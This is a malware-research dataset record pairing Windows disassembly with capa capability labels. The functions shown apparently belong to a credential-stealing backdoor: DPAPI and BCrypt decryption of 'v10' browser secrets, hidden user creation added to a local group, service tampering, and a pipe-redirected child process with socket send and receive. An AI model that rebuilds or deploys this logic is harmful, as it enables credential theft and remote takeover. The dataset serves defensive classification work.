joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000cafc
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
lea eax, [ebp - 8]
mov dword [ebp - 0x14], ecx
push eax
push dword [ebp + 0x18]
xor ecx, ecx
mov dword [ebp - 0x18], edx
push ecx
push ecx
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ecx
push eax
push ecx
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc], ecx
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov edi, eax
test edi, edi
je 0x1000cb61
mov ecx, dword [ebp - 8]
mov esi, dword [ebp + 0x20]
push ecx
push 0x40
mov dword [esi], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [ebp + 0x1c]
mov dword [ecx], eax
test eax, eax
je 0x1000cb58
push dword [esi]
push dword [ebp - 4]
push eax
call fcn.1000102c
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x1000cba8
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
xor esi, esi
mov eax, edx
mov dword [ebp - 4], eax
cmp dword [0x100197ac], esi
je 0x1000cbce
push dword [ebp + 8]
call fcn.1000cc54
pop ecx
mov esi, eax
jmp 0x1000cc4f
push edi
push esi
push esi
push 3
push esi
push 3
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
test edi, edi
je 0x1000cc4e
cmp edi, 0xffffffff
je 0x1000cc4e
lea eax, [ebp - 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1000cc47
cmp dword [ebp - 0xc], esi
jne 0x1000cc47
mov eax, dword [ebp - 0x10]
push ebx
mov ebx, dword [ebp + 8]
push eax
push 0x40
mov dword [ebx], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
test eax, eax
je 0x1000cc46
push esi
lea ecx, [ebp - 8]
push ecx
push dword [ebx]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1000cc3b
mov eax, dword [ebx]
cmp eax, dword [ebp - 8]
jne 0x1000cc3b
xor esi, esi
inc esi
jmp 0x1000cc46
mov eax, dword [ebp - 4]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
leave
ret

Function at 0x1000cc54
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
mov eax, ecx
push esi
push edi
xor esi, esi
mov dword [ebp - 4], eax
push esi
push esi
push ebx
push esi
push 1
mov edi, edx
mov dword [ebx], esi
push esi
push eax
mov dword [edi], esi
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
test eax, eax
je 0x1000ccad
push dword [ebx]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [edi], eax
test eax, eax
je 0x1000ccad
push esi
push esi
push ebx
push eax
push 1
push esi
push dword [ebp - 4]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
mov esi, eax
test esi, esi
jne 0x1000ccad
push dword [edi]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [edi], eax
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1000cf58
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push edi
mov edi, edx
mov word [ebp - 8], 0x3176
mov byte [ebp - 6], 0x30
mov esi, ecx
cmp edi, 3
jb 0x1000d04b
push 3
lea eax, [ebp - 8]
push eax
push esi
call fcn.10001000
add esp, 0xc
test eax, eax
jne 0x1000d04b
cmp dword [ebp + 8], eax
je 0x1000d09e
cmp dword [ebp + 0xc], eax
je 0x1000d09e
push 0x40
pop ebx
push ebx
push eax
lea eax, [ebp - 0x54]
push eax
call fcn.10001052
lea eax, [esi + 3]
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x4c], eax
add esp, 0xc
lea eax, [edi - 0x10]
mov dword [ebp - 0x50], 1
add eax, esi
mov dword [ebp - 0x48], 0xc
mov dword [ebp - 0x3c], eax
lea eax, [edi - 0x1f]
push eax
push ebx
mov dword [ebp - 0x38], 0x10
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
je 0x1000d09e
xor ebx, ebx
lea eax, [ebp - 0xc]
push ebx
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x54]
push edi
push ebx
push ebx
push eax
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x48]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.bcrypt.dll_BCryptDecrypt]
test eax, eax
jne 0x1000d044
mov eax, dword [ebp - 0xc]
inc eax
push eax
call fcn.10001085
pop ecx
mov ecx, dword [ebp - 0xc]
mov esi, eax
inc ecx
push ecx
push ebx
push esi
call fcn.10001052
add esp, 0xc
push dword [ebp - 0xc]
push edi
push esi
call fcn.1000102c
add esp, 0xc
push edi
jmp 0x1000d096
mov eax, 0x10016056
jmp 0x1000d09e
push ecx
lea eax, [ebp - 0xc]
mov edx, edi
push eax
lea eax, [ebp - 0x10]
mov ecx, esi
push eax
sub esp, 0x14
call fcn.1000ca78
add esp, 0x20
test eax, eax
je 0x1000d09e
mov eax, dword [ebp - 0xc]
inc eax
push eax
call fcn.10001085
pop ecx
mov ecx, dword [ebp - 0xc]
mov esi, eax
inc ecx
push ecx
push 0
push esi
call fcn.10001052
add esp, 0xc
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push esi
call fcn.1000102c
add esp, 0xc
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000d2ad
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 8], 0
push ebx
push esi
mov ebx, edx
mov dword [ebp - 4], ecx
je 0x1000d2e3
mov esi, dword [ebp + 8]
push 0
mov eax, ebx
sub eax, esi
add eax, dword [ebp + 8]
push esi
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1000d2e3
mov ecx, dword [ebp - 4]
sub esi, eax
jne 0x1000d2c1
mov al, 1
jmp 0x1000d2e5
xor al, al
pop esi
pop ebx
leave
ret
Function at 0x1000d418
Capabilities:
Add user account
Add user account to group

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
push 8
pop ecx
lea edi, [ebp - 0x20]
xor ebx, ebx
rep stosd dword es:[edi], eax
mov eax, dword [esi]
xor edi, edi
mov dword [ebp - 0x20], eax
inc ebx
mov eax, dword [ebp + 0xc]
push edi
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], edi
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x20]
push eax
push ebx
push edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], 0x10201
mov dword [ebp - 4], edi
call dword [sym.imp.NETAPI32.dll_NetUserAdd]
test eax, eax
jne 0x1000d493
mov eax, dword [esi]
lea ecx, [ebp + 0xc]
mov dword [ebp + 8], eax
call fcn.1000f56d
push ebx
lea ecx, [ebp + 8]
push ecx
push 3
push dword [eax]
push edi
call dword [sym.imp.NETAPI32.dll_NetLocalGroupAddMembers]
mov ecx, dword [ebp + 0xc]
mov esi, eax
call fcn.10005ea5
test esi, esi
jne 0x1000d493
mov eax, ebx
jmp 0x1000d495
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x1000d49c
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push 1
push str.ServicesActive
xor edi, edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0x1000d502
mov eax, dword [ebp + 8]
push ebx
push 2
push dword [eax]
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, eax
test ebx, ebx
jne 0x1000d4d7
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x1000d501
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push 0xffffffffffffffff
push dword [ebp + 0xc]
push 0xffffffffffffffff
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
je 0x1000d4f3
xor edi, edi
inc edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
mov eax, edi
pop ebx
pop edi
pop esi
pop ebp
ret 8

Function at 0x1000d508
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push 1
push str.ServicesActive
xor edi, edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0x1000d587
mov eax, dword [ebp + 8]
push ebx
push 0x10
push dword [eax]
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, eax
test ebx, ebx
jne 0x1000d543
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x1000d586
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x1000d575
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x1000d578
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x1000d578
xor edi, edi
inc edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
mov eax, edi
pop ebx
pop edi
pop esi
pop ebp
ret 4
Function at 0x1000da5b
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
xor eax, eax
mov esi, ecx
push 5
push str.ServicesActive
push eax
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
je 0x1000db3c
lea eax, [esi + 0x28]
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x1c], eax
xor ecx, ecx
lea eax, [ebp - 0xc]
push ecx
push eax
lea eax, [ebp - 4]
mov dword [ebp - 0xc], ecx
push eax
lea eax, [ebp - 0x10]
push eax
push ecx
push ecx
push 3
push 0x30
push ecx
push ebx
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
mov esi, dword [ebp - 0x10]
mov ecx, esi
call fcn.10005eff
push 0
mov edi, eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
push esi
push edi
push 3
push 0x30
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
test eax, eax
jne 0x1000daf9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x1000db3c
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor esi, esi
cmp dword [ebp - 4], esi
jbe 0x1000db3c
mov ebx, edi
cmp dword [ebx], 0
je 0x1000db3c
push dword [ebx]
lea ecx, [ebp - 8]
call fcn.100035e5
push dword [ebp - 0x1c]
lea ecx, [ebp - 8]
call fcn.10003248
test eax, eax
jne 0x1000db50
mov ecx, dword [ebp - 8]
call fcn.10005ea5
and dword [ebp - 8], 0
add ebx, 0x2c
inc esi
cmp esi, dword [ebp - 4]
jb 0x1000db09
and dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x14]
call fcn.10005ea5
mov eax, dword [ebp - 0x24]
pop edi
pop esi
pop ebx
leave
ret
imul esi, esi, 0x2c
lea ecx, [ebp - 0x18]
push dword [esi + edi]
call fcn.100035e5
push eax
lea ecx, [ebp - 0x14]
call fcn.10003437
mov ecx, dword [ebp - 0x18]
call fcn.10005ea5
mov ebx, dword [ebp - 0x28]
mov eax, dword [esi + edi + 0x24]
mov ecx, dword [ebp - 8]
and dword [ebp - 0x18], 0
mov dword [ebx + 0x2c], eax
call fcn.10005ea5
and dword [ebp - 8], 0
cmp dword [ebx + 0x2c], 0
jne 0x1000dbd0
xor ebx, ebx
inc ebx
cmp dword [ebp - 0x20], ebx
je 0x1000db3c
mov esi, dword [ebp - 0x1c]
push 2
push esi
call fcn.1000d49c
push esi
call fcn.1000d508
push edi
mov dword [ebp - 0x20], ebx
call fcn.10001099
pop ecx
push 5
push str.ServicesActive
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
jne 0x1000da9f
jmp 0x1000db3c
mov ecx, dword [ebp - 4]
xor esi, esi
test ecx, ecx
je 0x1000db40
cmp dword [edi], 0
je 0x1000db40
mov eax, dword [edi + 0x24]
cmp eax, dword [ebx + 0x2c]
jne 0x1000dc29
push dword [edi]
lea ecx, [ebp - 8]
call fcn.100035e5
push dword [ebp - 0x14]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x1000dc1a
push ecx
mov ecx, esp
push dword [edi]
call fcn.100035e5
lea ecx, [ebx + 0x44]
call fcn.100021bd
mov ecx, dword [ebp - 8]
call fcn.10005ea5
and dword [ebp - 8], 0
mov ecx, dword [ebp - 4]
inc esi
add edi, 0x2c
cmp esi, ecx
jb 0x1000dbdd
jmp 0x1000db40
Function at 0x1000e891
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.10001052
mov eax, dword [ebp + 0xc]
add esp, 0xc
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
xor eax, eax
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0x54], 0x44
push eax
push esi
push esi
push 0x10
push 1
push esi
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0x28], 0x101
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1000e8f6
mov eax, dword [ebp - 0x10]
inc esi
mov dword [0x1001955c], eax
mov ecx, dword [ebp + 8]
call fcn.10005ea5
mov eax, esi
pop esi
leave
ret 0x10

Function at 0x1000ea89
Capabilities:
Terminate thread

Disassembly:
push esi
mov esi, ecx
push edi
lea edi, [esi + 0x14]
cmp dword [edi], 0
je 0x1000ead4
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp eax, dword [esi + 0x18]
je 0x1000eacd
cmp dword [esi + 0x10], 0
je 0x1000eaf8
push dword [esi + 0x10]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x1388
push dword [edi]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x1000eacd
push 0xfffffffffffffffe
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, edi
call fcn.1000ec8c
lea ecx, [esi + 0x10]
call fcn.1000ec8c
lea ecx, [esi + 4]
call fcn.1000ec8c
lea ecx, [esi + 0xc]
call fcn.1000ec8c
lea ecx, [esi + 8]
call fcn.1000ec8c
and dword [esi + 0x18], 0
pop edi
pop esi
ret
Function at 0x1000eafb
Capabilities:
Create pipe
Create thread
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov ecx, 0x10019558
call fcn.1000ea89
and dword [ebp - 8], 0
lea eax, [ebp - 0x20]
and dword [ebp - 0xc], 0
xor esi, esi
and dword [ebp - 4], 0
inc esi
and dword [ebp - 0x10], 0
and dword [ebp - 0x14], 0
and dword [ebp - 0x1c], 0
push 0
push eax
lea eax, [ebp - 4]
mov dword [ebp - 0x20], 0xc
push eax
lea eax, [ebp - 8]
mov dword [ebp - 0x18], esi
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x1000ec47
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea eax, [ebp - 0xc]
push 2
push esi
push 0
push eax
call edi
push eax
push dword [ebp - 4]
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push eax
call ebx
test eax, eax
je 0x1000ec47
push 0
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x1000ec47
push 2
push 0
push 0
push 0x10019560
call edi
push eax
push dword [ebp - 8]
call edi
push eax
call ebx
test eax, eax
je 0x1000ec47
push 2
push 0
push 0
push 0x10019564
call edi
push eax
push dword [ebp - 0x10]
call edi
push eax
call ebx
test eax, eax
je 0x1000ec47
lea ecx, [ebp - 8]
call fcn.1000ec8c
lea ecx, [ebp - 0x10]
call fcn.1000ec8c
push dword [ebp - 0xc]
lea eax, [ebp + 8]
push dword [ebp - 0x14]
push dword [ebp - 4]
push ecx
mov ecx, esp
push eax
call fcn.1000362d
call fcn.1000e891
test eax, eax
je 0x1000ec47
lea ecx, [ebp - 4]
call fcn.1000ec8c
lea ecx, [ebp - 0x14]
call fcn.1000ec8c
lea ecx, [ebp - 0xc]
call fcn.1000ec8c
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0x10019570
push 0
push 0x10019558
push 0x1000e92a
push 0
push 0
mov dword [0x10019568], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x1001956c], eax
test eax, eax
jne 0x1000ec7b
lea ecx, [ebp - 8]
call fcn.1000ec8c
lea ecx, [ebp - 4]
call fcn.1000ec8c
lea ecx, [ebp - 0xc]
call fcn.1000ec8c
lea ecx, [ebp - 0x10]
call fcn.1000ec8c
lea ecx, [ebp - 0x14]
call fcn.1000ec8c
mov ecx, 0x10019558
call fcn.1000ea89
xor esi, esi
mov ecx, dword [ebp + 8]
call fcn.10005ea5
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 4
Function at 0x1000ee9a
Capabilities:
Connect socket
Connect udp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
push ebx
push esi
push edi
push 6
xor eax, eax
mov edi, edx
inc eax
mov esi, ecx
push eax
push 2
pop eax
push eax
call dword [sym.imp.WS2_32.dll_socket]
push esi
mov ebx, eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
movsx ecx, word [eax + 0xa]
push ecx
mov ecx, dword [eax + 0xc]
lea eax, [ebp - 0xc]
push dword [ecx]
push eax
call fcn.1000102c
add esp, 0xc
push 2
pop eax
push edi
mov word [ebp - 0x10], ax
call dword [sym.imp.WS2_32.dll_htons]
mov esi, 0x802
mov word [ebp - 0xe], ax
push esi
lea eax, [ebp - 0x818]
push 0
push eax
call fcn.10001052
add esp, 0xc
lea eax, [ebp - 0x818]
push esi
push eax
lea eax, [ebp - 0xc]
push eax
push 2
pop eax
push eax
call dword [sym.imp.WS2_32.dll_InetNtopW]
cmp byte [0x10019695], 0
jne 0x1000ef48
xor esi, esi
inc esi
push 0x10
lea eax, [ebp - 0x10]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_connect]
movzx ecx, byte [0x10019695]
cmp eax, 0xffffffff
cmovne ecx, esi
mov byte [0x10019695], cl
test cl, cl
je 0x1000ef24
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x1000f1da
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [0x100198b4]
push esi
push edi
push 0x2000
mov esi, edx
call fcn.10001085
mov edi, eax
lea eax, [ebp + 0xc]
push 4
push eax
push edi
call fcn.1000102c
push 4
lea eax, [ebp + 8]
push eax
lea eax, [edi + 4]
push eax
call fcn.1000102c
push dword [ebp + 8]
lea eax, [edi + 8]
push esi
push eax
call fcn.1000102c
mov eax, dword [ebp + 8]
add esp, 0x28
add eax, 8
push 0
push eax
push edi
push ebx
call dword [sym.imp.WS2_32.dll_send]
push edi
call fcn.10001099
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000f23d
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x100198b4]
push ebx
push esi
push edi
mov esi, 0x2000
mov dword [ebp - 0xc], eax
push esi
call fcn.10001085
push esi
mov dword [ebp - 4], eax
call fcn.10001085
mov esi, dword [ebp + 8]
mov ebx, eax
and dword [ebp - 0x10], 0
mov edi, esi
and dword [ebp - 8], 0
xor eax, eax
pop ecx
pop ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor edi, edi
push 0
push 8
pop eax
sub eax, edi
push eax
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp + 8], eax
test eax, eax
je 0x1000f32e
cmp eax, 0xffffffff
je 0x1000f32e
mov ecx, dword [ebp - 4]
push eax
add ecx, edi
push ebx
push ecx
call fcn.1000102c
add edi, dword [ebp + 8]
add esp, 0xc
cmp edi, 8
jl 0x1000f27a
mov edi, dword [ebp - 4]
lea eax, [ebp - 0x10]
push 4
push edi
push eax
call fcn.1000102c
push 4
lea eax, [edi + 4]
push eax
lea eax, [ebp - 8]
push eax
call fcn.1000102c
mov eax, dword [ebp - 8]
add esp, 0x18
xor edi, edi
test eax, eax
jle 0x1000f317
push 0
sub eax, edi
push eax
push ebx
push dword [ebp - 0xc]
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp + 8], eax
test eax, eax
je 0x1000f32e
cmp eax, 0xffffffff
je 0x1000f32e
mov ecx, dword [ebp - 4]
push eax
add ecx, edi
push ebx
push ecx
call fcn.1000102c
add edi, dword [ebp + 8]
add esp, 0xc
mov eax, dword [ebp - 8]
cmp edi, eax
jl 0x1000f2e2
mov ecx, dword [ebp - 0x10]
mov dword [esi + 4], eax
mov eax, dword [ebp - 4]
push ebx
mov dword [esi], ecx
mov dword [esi + 8], eax
call fcn.10001099
pop ecx
jmp 0x1000f335
mov byte [0x10019695], 0
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x1000f33c
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x820
push ebx
push esi
push edi
push 6
push 1
push 0x17
pop eax
push eax
mov di, dx
mov esi, ecx
call dword [sym.imp.WS2_32.dll_socket]
push 0x17
mov ebx, eax
pop eax
push 0x10
mov word [ebp - 0x1c], ax
lea eax, [ebp - 0x14]
push esi
push eax
call fcn.1000102c
add esp, 0xc
mov word [ebp - 0x1a], di
lea eax, [ebp - 0x1c]
push 0x1c
push eax
push ebx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x1000f3b6
mov esi, 0x802
lea eax, [ebp - 0x820]
push esi
push 0
push eax
call fcn.10001052
add esp, 0xc
lea eax, [ebp - 0x820]
push esi
push eax
lea eax, [ebp - 0x14]
push eax
push 0x17
pop eax
push eax
call dword [sym.imp.WS2_32.dll_InetNtopW]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x1000f3bd
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x818
mov eax, dword [ecx]
push ebx
push esi
push edi
push 6
push 1
push 2
pop ebx
push ebx
mov si, dx
mov dword [ebp - 4], eax
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [ebp - 4]
mov edi, eax
push 0x10
lea eax, [ebp - 0x14]
mov word [ebp - 0x14], bx
push eax
push edi
mov dword [ebp - 0x10], ecx
mov word [ebp - 0x12], si
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x1000f42b
mov esi, 0x802
lea eax, [ebp - 0x818]
push esi
push 0
push eax
call fcn.10001052
add esp, 0xc
lea eax, [ebp - 0x818]
push esi
push eax
lea eax, [ebp - 4]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_InetNtopW]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000f432
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
push 0x108
mov ebx, edx
mov edi, ecx
call fcn.10001085
mov esi, eax
pop ecx
test esi, esi
je 0x1000f473
test edi, edi
je 0x1000f473
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
xor eax, eax
mov dword [esi + 0x104], ebx
push eax
push eax
push esi
push 0x1000ee44
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
jmp 0x1000f47c
push esi
call fcn.10001099
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x1000f69f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
push 2
push 0
push dword [ecx]
mov edi, edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000f719
push 0x10
xor ebx, ebx
inc ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x1000f719
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x1000f719
mov ecx, dword [eax + 0x14]
mov edx, dword [eax + 0x28]
mov dword [edi], ecx
mov cx, word [eax + 0x1a]
mov word [edi + 4], cx
mov cx, word [eax + 0x18]
mov eax, edx
and eax, ebx
mov word [edi + 6], cx
mov dword [edi + 8], eax
mov ecx, edx
mov eax, edx
shr ecx, 3
shr eax, 1
and ecx, ebx
shr edx, 5
and eax, ebx
and edx, ebx
mov dword [edi + 0xc], eax
push esi
mov dword [edi + 0x10], ecx
mov dword [edi + 0x14], edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, ebx
jmp 0x1000f71b
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x1000f76b
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x208]
push esi
push edi
push 0x208
push 0
push eax
mov esi, edx
mov edi, ecx
call fcn.10001052
add esp, 0xc
lea eax, [ebp - 0x208]
push 0
push esi
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x208]
mov ecx, edi
push eax
call fcn.100035e5
mov eax, edi
pop edi
pop esi
leave
ret